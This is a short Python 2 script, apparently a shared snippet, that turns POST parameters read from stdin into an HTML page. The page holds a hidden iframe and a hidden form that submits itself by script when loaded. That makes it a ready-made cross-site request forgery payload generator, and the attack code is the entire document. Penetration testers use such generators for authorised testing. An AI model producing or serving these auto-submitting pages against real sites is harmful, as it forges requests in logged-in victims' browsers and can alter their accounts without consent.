Generates POST CSRF html

generate_csrf.py

"""
Takes input on stdin and generates html doing POST CSRF

E.g. input:
a=b&c=d
"""

import sys
import urllib
from collections import OrderedDict

post_data = sys.stdin.read()
post_data = post_data.strip()

params = OrderedDict(
    (urllib.unquote(key), urllib.unquote(value)) for key, value in map(lambda i: i.split('='), post_data.split('&'))
)

html = """
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='{url}' target="csrf-frame" id="csrf-form"> 
    {inputs}
    <input type='submit' style="display:none" value='submit'>
</form>
<script>
document.getElementById("csrf-form").submit()
</script>
"""

input_fmt = "<input type='hidden' name='{name}' value='{value}'>"

inputs = '\n    '.join(input_fmt.format(name=k, value=v) for k,v in params.items())

url = ''
print html.format(url=url, inputs=inputs)